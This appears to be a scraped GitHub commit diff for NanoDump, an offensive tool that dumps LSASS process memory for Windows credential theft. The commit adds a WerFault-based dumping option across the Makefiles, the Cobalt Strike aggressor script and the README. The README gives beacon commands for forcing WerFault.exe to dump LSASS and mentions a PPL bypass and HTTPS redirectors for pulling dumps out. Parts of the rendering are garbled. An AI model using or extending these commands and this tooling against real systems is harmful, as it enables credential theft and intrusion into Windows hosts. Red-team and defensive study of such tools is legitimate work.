

```
15
                      $(CC_x86) source/dinvoke.c source/utils.c
              source/handle.c source/modules.c source/syscalls.c
              source/token_priv.c source/malseclogon.c
              source/nanodump.c source/entry.c -o
              dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE
       15
                      $(CC_x86) source/dinvoke.c source/utils.c
              source/handle.c source/modules.c source/syscalls.c
              source/token_priv.c source/malseclogon.c
              source/nanodump.c source/werfault.c source/entry.c
              -o dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE
       16
                      $(STRIP x86) --strip-all
16
              dist/$(BOFNAME).x86.exe
17
       17
                      $(CC x64) -c source/entry.c -o
18
       18
              dist/$(BOFNAME).x64.o $(OPTIONS) -DNANO -DBOF
       19
                      $(STRIP_x64) --strip-unneeded
19
              dist/$(BOFNAME).x64.o
       20
20
                      $(CC_x64) source/utils.c source/handle.c
21
              source/modules.c source/syscalls.c
              source/token priv.c source/malseclogon.c
              source/nanodump.c | source/entry.c -o
              dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) -DNANO -DSSP
              -DDDL -shared
       21 +
                      $(CC x64) source/utils.c source/handle.c
              source/modules.c source/syscalls.c
              source/token_priv.c source/malseclogon.c
              source/nanodump.c source/entry.c -o
              dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) -DNANO -DSSP
              -DDDL -shared
22
       22
                      $(STRIP_x64) --strip-all
              dist/$(BOFNAME)_ssp.x64.dll
       23
23
                      $(CC_x86) source/utils.c source/handle.c
24
              source/modules.c source/syscalls.c
              source/token_priv.c source/malseclogon.c
              source/nanodump.c | source/entry.c -o
              dist/$(BOFNAME)_ssp.x86.dll $(OPTIONS) -DNANO -DSSP
              -DDDL -shared
                      $(CC x86) source/utils.c source/handle.c
       24
              source/modules.c source/syscalls.c
              source/token_priv.c source/malseclogon.c
              source/nanodump.c source/entry.c -o
              dist/$(BOFNAME) ssp.x86.dll $(OPTIONS) -DNANO -DSSP
              -DDDL -shared
```

	63	DDEBUG + \$(CC_x64) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c
63		- \$(CC_x64) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME).x64.exe \$(OPTIONS) -DNANO -DEXE -
60 61 62	60 61 62	debug: clean \$(info ###### DEBUG ######)
.‡.	60	@@ -60,15 +60,15 @@ nanodump: clean
48	48	Hanouump_pp1_u11 / Include/\$(BOPNAME)_pp1_u11.x80.H
47	47	<pre>dist/\$(BOFNAME)_ppl.x86.dll</pre>
46	46	-DDDL -shared \$(STRIP_x86)strip-all
	45	<pre>\$(OPTIONS) -DNANO -DPPL -DDDL -shared + \$(CC_x86) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/\$(BOFNAME)_ppl.x86.dll \$(OPTIONS) -DNANO -DPPL</pre>
45		- \$(CC_x86) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ppl.x86.dll
44	44	<pre>nanodump_ppl_dll > include/\$(BOFNAME)_ppl_dll.x64.h</pre>
43	43	<pre>dist/\$(BOFNAME)_ppl.x64.dll</pre>
42	42	@@ -42,7 +42,7 @@ nanodump: clean \$(STRIP_x64)strip-all
		dist/load_ssp.x64.o \$(OPTIONS) -DBOF
26 27	26 27	<pre>\$(CC_x64) -c source/load_ssp.c -o</pre>
25	25	<pre>\$(STRIP_x86)strip-all dist/\$(BOFNAME)_ssp.x86.dll</pre>

	-o dist/\$(BOFNAME).x64.exe \$(OPTIONS) -DNANO -DEXE -DDEBUG
64 64	
65	<pre>- \$(CC_x86) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME).x86.exe \$(OPTIONS) -DNANO -DEXE - DDEBUG</pre>
65	<pre>+ \$(CC_x86) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/\$(BOFNAME).x86.exe \$(OPTIONS) -DNANO -DEXE -DDEBUG</pre>
66 66	
67 67	<pre>\$(CC_x64) -c source/entry.c -o dist/\$(BOFNAME).x64.o \$(OPTIONS) -DNANO -DBOF - DDEBUG</pre>
68 68	
69 69	<pre>- \$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x64.dll \$(OPTIONS) -DNANO -DSSP -DDDL -shared -DDEBUG + \$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x64.dll \$(OPTIONS) -DNANO -DSSP -DDDL -shared -DDEBUG</pre>
70 70	
71	- \$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x86.dll \$(OPTIONS) -DNANO -DSSP -DDDL -shared -DDEBUG
71	<pre>+ \$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x86.dll \$(OPTIONS) -DNANO -DSSP -DDDL -shared -DDEBUG</pre>

72	72	
73	73	<pre>\$(CC_x64) -c source/load_ssp.c -o</pre>
		<pre>dist/load_ssp.x64.o \$(OPTIONS) -DBOF -DDEBUG</pre>
74	74	
.‡.		@@ -80,10 +80,10 @@ debug: clean
80	80	
81	81	<pre>\$(GCC) source/bin2c.c -o dist/bin2c</pre>
82	82	\$\(\frac{1}{30}\text{u}\text{i}\text{c}\text{v}\text{1112c.c}\text{c}\text{u}\text{u}\text{13c}\text{b}\text{1112c}\text{.}
83	02	- \$(CC_x64) source/output.c
85		source/ppl/cleanup.c source/utils.c
		source/dinvoke.c source/handle.c source/modules.c
		source/syscalls.c source/token_priv.c
		source/malseclogon.c source/nanodump.c
		source/entry.c -o dist/\$(BOFNAME) ppl.x64.dll
		\$(OPTIONS) -DNANO -DPPL -DDDL -shared -DDEBUG
	83	+ \$(CC_x64) source/output.c
	03	source/ppl/cleanup.c source/utils.c
		source/dinvoke.c source/handle.c source/modules.c
		source/syscalls.c source/token_priv.c
		source/malseclogon.c source/nanodump.c
		source/werfault.c source/entry.c -o
		dist/\$(BOFNAME)_ppl.x64.dll \$(OPTIONS) -DNANO -DPPL
		-DDDL -shared -DDEBUG
84	84	./dist/bin2c dist/\$(BOFNAME)_ppl.x64.dll
04	04	nanodump_ppl_dll > include/\$(BOFNAME)_ppl_dll.x64.h
85	85	nanodamp_ppi_dii / include, \$(bornane, _ppi_dii.xo+.n
86	0,5	- \$(CC x86) source/output.c
•		source/ppl/cleanup.c source/utils.c
		source/dinvoke.c source/handle.c source/modules.c
		source/syscalls.c source/token_priv.c
		source/malseclogon.c source/nanodump.c
		source/entry.c -o dist/\$(BOFNAME)_ppl.x86.dll
		\$(OPTIONS) -DNANO -DPPL -DDDL -shared -DDEBUG
	86	+ \$(CC x86) source/output.c
		source/ppl/cleanup.c source/utils.c
		source/dinvoke.c source/handle.c source/modules.c
		source/syscalls.c source/token_priv.c
		source/malseclogon.c source/nanodump.c
		source/werfault.c source/entry.c -o
		dist/\$(BOFNAME)_ppl.x86.dll \$(OPTIONS) -DNANO -DPPL
		-DDDL -shared -DDEBUG
87	87	./dist/bin2c dist/\$(BOFNAME)_ppl.x86.dll
		<pre>nanodump_ppl_dll > include/\$(BOFNAME)_ppl_dll.x86.h</pre>
88	88	, , , , , , , , , , , , , , , , , , , ,

89	89	<pre>\$(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/ppl/ppl.c -o dist/\$(BOFNAME)_ppl.x64.exe \$(OPTIONS) -DEXE -DPPL -DDEBUG</pre>	
. <u>†</u> .			
→	18 ■	■■■ Makefile.msvc □ ····	•
.1.		@@ -6,8 +6,8 @@ nanodump:	
6 7 8	6 7 8	@echo ###### RELEASE ###### ML64 /c source/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64	
9		- cl.exe -DNANO -DEXE \$(OPTIONS)	
10		<pre>source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c - link.exe /OUT:dist\nanodump.x64.exe -nologo \$(LIBS) /MACHINE:X64 -subsystem:console - nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token_priv.obj handle.obj malseclogon.obj modules.obj syscalls-asm.obj syscalls.obj</pre>)
	10	<pre>+ cl.exe -DNANO -DEXE \$(OPTIONS) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c + link.exe /OUT:dist\nanodump.x64.exe -nologo \$(LIBS) /MACHINE:X64 -subsystem:console - nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token_priv.obj handle.obj malseclogon.obj werfault.obj modules.obj syscalls- asm.obj syscalls.obj</pre>)
11	11		
12	12	<pre># cl.exe -DNANO -DBOF /Fo:dist\nanodump.x64.c \$(OPTIONS) source/entry.c</pre>)
13	13		
÷		@@ -23,8 +23,8 @@ nanodump:	
23 24 25	232425	cl.exe source/bin2c.c /Fe:dist\bin2c.exe	

26	- cl.exe -DNANO -DPPL -DDLL \$(OPTIONS)
27	<pre>source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c - link.exe -DLL /OUT:dist\nanodump_ppl.x64.dll -nologo \$(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj output.obj cleanup.obj dinvoke.obj handle.obj token_priv.obj malseclogon.obj</pre>
26	+ cl.exe -DNANO -DPPL -DDLL \$(OPTIONS)
27	<pre>source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c + link.exe -DLL /OUT:dist\nanodump_ppl.x64.dll -nologo \$(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib</pre>
	entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj output.obj cleanup.obj dinvoke.obj handle.obj token_priv.obj malseclogon.obj werfault.obj
28 28	.\dist\bin2c.exe dist\nanodump_ppl.x64.dll
29 29	<pre>nanodump_ppl_dll > include\nanodump_ppl_dll.x64.h</pre>
30 30	cl.exe -DEXE -DPPL \$(OPTIONS)
	<pre>source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/ppl/ppl.c</pre>
.‡.	@@ -36,8 +36,8 @@ debug:
36 36	@echo ###### DEBUG ######
37 37	<pre>ML64 /c source/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64</pre>
38 38	
39	<pre>- cl.exe -DNANO -DEXE -DDEBUG \$(OPTIONS) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c</pre>
40	<pre>- link.exe /OUT:dist\nanodump.x64.exe -nologo \$(LIBS) /MACHINE:X64 -subsystem:console -</pre>

		<pre>nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token priv.obj handle.obj</pre>
		malseclogon.obj modules.obj syscalls-asm.obj
	20	syscalls.obj
	39	+ cl.exe -DNANO -DEXE -DDEBUG \$(OPTIONS)
		source/dinvoke.c source/utils.c source/handle.c
		source/modules.c source/syscalls.c
		source/token_priv.c source/malseclogon.c
		<pre>source/nanodump.c source/werfault.c source/entry.c</pre>
	40	<pre>+ link.exe /OUT:dist\nanodump.x64.exe -nologo</pre>
		<pre>\$(LIBS) /MACHINE:X64 -subsystem:console -</pre>
		<pre>nodefaultlib entry.obj nanodump.obj utils.obj</pre>
		dinvoke.obj token_priv.obj handle.obj
		malseclogon.obj werfault.obj modules.obj syscalls-
		asm.obj syscalls.obj
41	41	
42	42	# cl.exe -DNANO -DBOF -DDEBUG
		/Fo:dist\nanodump.x64.o \$(OPTIONS) source/entry.c
43	43	
		@@ -53,8 +53,8 @@ debug:
53	53	
54	54	<pre>cl.exe source/bin2c.c /Fe:dist\bin2c.exe</pre>
55	55	
56		- cl.exe -DNANO -DPPL -DDLL -DDEBUG
		<pre>\$(OPTIONS) source/output.c source/ppl/cleanup.c</pre>
		source/utils.c source/dinvoke.c source/handle.c
		source/modules.c source/syscalls.c
		<pre>source/token_priv.c source/malseclogon.c</pre>
		<pre>source/nanodump.c source/entry.c</pre>
57		- link.exe -DLL
		/OUT:dist\nanodump_ppl.x64.dll -nologo \$(LIBS)
		/MACHINE:X64 -subsystem:console -nodefaultlib
		<pre>entry.obj nanodump.obj utils.obj modules.obj</pre>
		syscalls-asm.obj syscalls.obj output.obj
		cleanup.obj dinvoke.obj handle.obj token_priv.obj
		malseclogon.obj
	56	+ cl.exe -DNANO -DPPL -DDLL -DDEBUG
		<pre>\$(OPTIONS) source/output.c source/ppl/cleanup.c</pre>
		source/utils.c source/dinvoke.c source/handle.c
		source/modules.c source/syscalls.c
		<pre>source/token_priv.c source/malseclogon.c</pre>
		<pre>source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c</pre>
	57	
	57	source/nanodump.c source/werfault.c source/entry.c
	57	<pre>source/nanodump.c source/werfault.c source/entry.c + link.exe -DLL</pre>

```
entry.obj nanodump.obj utils.obj modules.obj
              syscalls-asm.obj syscalls.obj output.obj
              cleanup.obj dinvoke.obj handle.obj token_priv.obj
              malseclogon.obj werfault.obj
58
       58
                       .\dist\bin2c.exe dist\nanodump_ppl.x64.dll
              nanodump_ppl_dll > include\nanodump_ppl_dll.x64.h
59
       59
       60
                      cl.exe -DEXE -DPPL -DDEBUG $(OPTIONS)
60
              source/utils.c source/syscalls.c source/dinvoke.c
              source/token_priv.c source/ppl/ppl_utils.c
              source/ppl/ppl.c
   .‡.
              @@ -63,4 +63,4 @@ debug:
       63
                      cl.exe source/restore_signature.c
63
              /Fe:scripts\restore_signature.exe
       64
64
       65
65
              clean:
                      @del /Q token_priv.obj dinvoke.obj
66
              entry.obj handle.obj load_ssp.obj malseclogon.obj
              modules.obj nanodump.obj syscalls-asm.obj
              syscalls.obj utils.obj dist\delete_file.x64.o
              dist\load_ssp.x64.exe dist\load_ssp.x64.o
              dist\nanodump.x64.exe dist\nanodump.x64.o
              dist\nanodump_ssp.x64.dll dist\nanodump_ssp.x64.exp
              dist\nanodump_ssp.x64.lib dist\nanodump_ppl.x64.lib
              dist\nanodump ppl.x64.dll
       66 +
                      @del /Q token_priv.obj dinvoke.obj
              entry.obj handle.obj load_ssp.obj malseclogon.obj
              werfault.obj modules.obj nanodump.obj syscalls-
              asm.obj syscalls.obj utils.obj
              dist\delete_file.x64.o dist\load_ssp.x64.exe
              dist\load_ssp.x64.o dist\nanodump.x64.exe
              dist\nanodump.x64.o dist\nanodump_ssp.x64.dll
              dist\nanodump_ssp.x64.exp dist\nanodump_ssp.x64.lib
              dist\nanodump_ppl.x64.lib dist\nanodump_ppl.x64.dll
∨ 💠 28 ■■■■ NanoDump.cna 🖳
   .
              @@ -41,9 +41,9 @@ local('$string $c');
41
       41
              beacon command register(
42
       42
              "nanodump",
              "Use syscalls to dump LSASS.",
43
       43
44
            - "Usage: nanodump [--getpid] [--write
              C:\\Windows\\Temp\\doc.docx] [--valid] [--fork] [--
              snapshot] [--dup] [--malseclogon] [--binary
              C:\\Windows\\notepad.exe]");
```

```
+ "Usage: nanodump [--getpid] [--write
               C:\\Windows\\Temp\\doc.docx] [--valid] [--fork] [--
               snapshot] [--dup] [--malseclogon] [--binary
               C:\\Windows\\notepad.exe] [--werfault
               C:\\Windows\\Temp]");
        45
45
               alias nanodump {
46
                   local('$barch $handle $bof $exe $args $pid
               $cname $dump_path $write_file $use_valid_sig $fork
               $snapshot $dup $i $get_pid $use_malseclogon $folder
               $nanodump_binary');
        46
                   local('$barch $handle $bof $exe $args $pid
               $cname $dump_path $write_file $use_valid_sig $fork
               $snapshot $dup $i $get_pid $use_malseclogon $folder
               $nanodump_binary $werfault_lsass $use_werfault');
 47
        47
        48
                   $barch = barch($1);
48
                   if($barch eq "x86")
 49
        49
   --‡--
               @@ -69,6 +69,9 @@ alias nanodump {
 69
        69
                       return;
        70
 70
                   }
 71
        71
                   # by default, don't use werfault
        72
                   $werfault_lsass = "";
        73
        74
                   $use_werfault = 0;
                   # by default, don't set any decoy binary
 72
        75
73
                   $binary_path = "";
        76
        77
 74
                   # by default, do not use MalSecLogon
   +
               @@ -167,6 +170,17 @@ alias nanodump {
   †
167
       170
                                return;
168
       171
                           }
169
       172
                       else if (@_[$i] eq "--werfault" || @_[$i]
       173
               eq "-wf")
       174
       175
                           $i++;
                           if($i >= size(@_))
       176
       177
       178
                                berror($1, "missing --werfault
               value");
       179
                                return;
       180
                           }
                           $use_werfault = 1;
       181
                           $werfault_lsass = @_[$i];
       182
       183
```

```
170
       184
                       else if (@_[$i] eq "--help" || @_[$i] eq "-
               h")
       185
                       {
171
       186
                           berror($1,
172
               beacon_command_detail("nanodump"));
   .‡.
               @@ -178,6 +192,14 @@ alias nanodump {
       192
178
                            return;
179
       193
                       }
180
       194
                   }
       195
                   if ($use_werfault &&
       196
                       ($fork || $snapshot || $dup ||
       197
                        $use_malseclogon || $use_valid_sig ||
               $get_pid ||
                        strlen($binary_path) != 0 || $write_file))
       198
       199
                       berror($1, "The option --werfault cannot be
       200
               combined with any other");
                       return;
       201
       202
181
       203
                   if($fork && $snapshot)
182
       204
183
       205
                   {
    +
               @@ -228,7 +250,7 @@ alias nanodump {
   ...
228
       250
                   }
       251
229
230
       252
                   # pack the arguments
231
                   $args = bof_pack($1, "iziiiiiiz", $pid,
               $dump_path, $write_file, $use_valid_sig, $fork,
               $snapshot, $dup, $get_pid, $use_malseclogon,
               $binary_path);
                   $args = bof_pack($1, "iziiiiiiiziz", $pid,
       253
               $dump_path, $write_file, $use_valid_sig, $fork,
               $snapshot, $dup, $get_pid, $use_malseclogon,
               $binary_path, $use_werfault, $werfault_lsass);
       254
232
       255
233
       256
                   btask($1, "Running NanoDump BOF");
234
   +
✓ 💠 36 ■■■■ README.md 「☐
                                                      <>
             @@ -16,6 +16,7 @@ A flexible tool that creates a
  <u></u>
             minidump of the LSASS process.
```

```
16
      16
               <a href="#malseclogon-and-
             duplicate">MalSecLogon and handle duplication</a>
             17
               <a href="#ssp">Load nanodump as an SSP</a>
17
18
               <a href="#ppl">PPL bypass</a>
       19
           + + <a href="#wer">WerFault</a>
              <a href="#params">Parameters</a>
19
       20
               <a href="#examples">Examples</a>
20
       21
               <a href="#redirectors">HTTPS redirectors</a>
21
       22
             +
             @@ -160,8 +161,29 @@ To access this feature, use the
   ...
             `nanodump_ppl` command
             beacon> nanodump_ppl -v -w C:\Windows\Temp\lsass.dmp
160
      161
161
      162
162
      163
           + <h2 id="wer">10. WerFault</h2>
      164
      165
           + You can force the WerFault.exe process to create a
             full memory dump of LSASS. Take into consideration
             that this requires to write to the registry
163
      166
           - <h2 id="params">10. Parameters</h2>
164
           + Because the dump is not made by nanodump, it will
             always have a valid signature.
      168
           + To access this feature, use the `--werfault`
      169
             parameter and the path there the dump should be
             created.
      170
      171
           + beacon> nanodump --werfault C:\Windows\Temp\
      172
      173
      174
           + A dump of the nanodump process will also be created,
             similar to this:
      175
           + PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-
      176
             648)-4035593\'
      177
           + Directory: C:\Windows\Temp\lsass.exe-(PID-
      178
             648) - 4035593
      179
      180
           + Mode
                                 LastWriteTime
                                                       Length
             Name
      181 + ----
```

```
182 + -a----
                             6/23/2022 7:40 AM
                                                        58830409
              lsass.exe-(PID-648).dmp
      183 + -a----
                             6/23/2022
                                        7:40 AM
                                                         7862825
              nanodump.x64.exe-(PID-3224).dmp
      184
      185
            + <h2 id="params">11. Parameters</h2>
      186
165
      187
      188
              #### --getpid
166
             Get PID of LSASS and leave.
167
      189
   ....
              @@ -194,8 +216,10 @@ Leak a handle to LSASS using
   .
             MalSecLogon.
              Path to a binary such as `C:\Windows\notepad.exe`.
194
      216
              This option is used exclusively with `--malseclogon`
195
      217
              and `--dup`.
196
      218
      219
            + #### --werfault -wf < folder >
            + Path to the folder where the WerFault process will
      220
              create an LSASS dump.
      221
197
            - <h2 id="examples">11. Examples</h2>
198
      222
            + <h2 id="examples">12. Examples</h2>
199
      223
200
      224
              Read LSASS indirectly by creating a fork and write
              the dump to disk with an invalid signature:
      225
201
   ...
              @@ -243,7 +267,12 @@ Dump LSASS bypassing PPL,
   <u></u>
              duplicating the handle that csrss.exe has on LSASS:
              beacon> nanodump ppl --dup --write
243
      267
              C:\Windows\Temp\lsass.dmp
244
      268
245
      269
            - <h2 id="redirectors">12. HTTPS redirectors</h2>
246
      270
            + Make the WerFault.exe process create a full memory
              dump in the Temp folder:
      271
            + beacon> nanodump --werfault C:\Windows\Temp\
      272
      273
      274
           + <h2 id="redirectors">13. HTTPS redirectors</h2>
      275
247
      276
      277
              If you are using an HTTPS redirector (as you should),
248
              you might run into issues when downloading the dump
              filessly due to the size of the requests that leak
              the dump.
```

249 278	Increase the max size of requests on your web server to allow nanodump to download the dump.
+	@@ -272,3 +301,4 @@ location ~ ^\$ {
272 301	<pre>- [Matteo Malvica](https://twitter.com/matteomalvica) for [Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start] (https://www.matteomalvica.com/blog/2019/12/02/win- defender-atp-cred-bypass/)</pre>
273 302	- [James Forshaw](https://twitter.com/tiraniddo) for [Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege] (https://googleprojectzero.blogspot.com/2018/08/windo
274 303	<pre>ws-exploitation-tricks-exploiting.html) - [itm4n](https://twitter.com/itm4n) for the original PPL userland exploit implementation, [PPLDump] (https://github.com/itm4n/PPLdump).</pre>
304	+ - [Asaf Gilboa]
	<pre>(https://mobile.twitter.com/asaf_gilboa) for [Lsass Memory Dumps are Stealthier than Ever Before - Part</pre>
	2](https://www.deepinstinct.com/blog/lsass-memory-
	<pre>dumps-are-stealthier-than-ever-before-part-2)</pre>
∨ BIN +1.	.98 KB (110%) dist/delete_file.x64.o ☐ ····
Binary file no	t shown.
✓ BIN +1.	.5 KB (100%) dist/load_ssp.x64.exe ☐ ···
Binary file no	t shown.
✓ BIN +2	KB (110%) dist/load_ssp.x64.o ☐ ····
Binary file no	t shown.
✓ BIN +51	12 Bytes (100%) dist/load_ssp.x86.exe [
Binary file no	t shown.
✓ BIN +8	KB (110%) dist/nanodump.x64.exe ☐ ····
Binary file no	t shown.

```
→ BIN +8.62 KB (120%) dist/nanodump.x64.o 
□
Binary file not shown.

∨ BIN +7.5 KB (110%) dist/nanodump.x86.exe 
□
Binary file not shown.

→ BIN +2.5 KB (110%) dist/nanodump_ppl.x64.dll 
□
Binary file not shown.

→ BIN +3.5 KB (100%) dist/nanodump_ppl.x64.exe 
□
Binary file not shown.

▼ BIN +1.98 KB (100%) dist/nanodump_ppl.x64.o [ ]
Binary file not shown.

→ BIN +5.5 KB (110%) dist/nanodump_ppl.x86.dll [□]
Binary file not shown.

→ BIN +6 KB (110%) dist/nanodump_ppl.x86.exe 
□
Binary file not shown.

→ BIN +1 KB (100%) dist/nanodump_ssp.x64.dll [□]
Binary file not shown.

→ BIN +1.5 KB (110%) dist/nanodump_ssp.x86.dll [□]
Binary file not shown.
 ✓ ♣ 4 ■■■■ include/nanodump.h 📮
     <u></u>
                 @@ -20,6 +20,7 @@
          20
                 #include "syscalls.h"
  20
                 #include "token_priv.h"
  21
```

```
22
        22
              #include "malseclogon.h"
        23
            + #include "werfault.h"
              #endif
 23
        24
        25
 24
 25
        26
              // amount of memory requested to write the dump:
              200 MiB
   +
              @@ -110,6 +111,8 @@
   <u></u>
       111
               WINBASEAPI char *
                                   __cdecl MSVCRT$strncat(char *
110
              _Dest,const char * _Source, size_t __n);
       112
               WINBASEAPI int
                                     __cdecl
111
              MSVCRT$_vscprintf(const char *format, va_list
              argptr);
112
       113
               WINBASEAPI int
                                     cdecl
              MSVCRT$vsprintf_s(char *_DstBuf,size_t _Size,const
               char *_Format,va_list _ArgList);
            + WINBASEAPI size_t __cdecl MSVCRT$wcslen(const
       114
              wchar_t *_Str);
       115
113
       116
114
       117
               #define GetProcessHeap KERNEL32$GetProcessHeap
115
       118
               #define HeapAlloc
                                        KERNEL32$HeapAlloc
   ....
              @@ -138,6 +141,7 @@
   †
               #define strncat
138
       141
                                  MSVCRT$strncat
       142
               #define _vscprintf MSVCRT$_vscprintf
139
140
       143
               #define vsprintf_s MSVCRT$vsprintf_s
       144
            + #define wcslen MSVCRT$wcslen
       145
              #endif
141
142
       146
       147
              #define MINIDUMP_SIGNATURE 0x504d444d
143
   +
∨ ‡ 2 ■■■■ include/ntdefs.h 📮
                                                                . . .
   .
              @@ -16,6 +16,7 @@
16
        16
               #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >=
              0)
 17
        17
              #endif
 18
        18
            + #define STATUS_SUCCES 0x00000000
        19
 19
        20
              #define STATUS_UNSUCCESSFUL 0xC0000001
 20
        21
              #define STATUS_PARTIAL_COPY 0x8000000D
              #define STATUS_ACCESS_DENIED 0xC0000022
 21
        22
   .‡.
              @@ -29,6 +30,7 @@
```

```
29
       30
              #define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B
30
              #define STATUS_BUFFER_TOO_SMALL 0xC0000023
       32
              #define STATUS_OBJECT_NAME_COLLISION 0xC0000035
31
           + #define STATUS_ALERTED 0x00000101
       33
32
       34
       35
              struct _RTL_BALANCED_NODE
33
34
       36
              {
```



0 comments on commit 578116f

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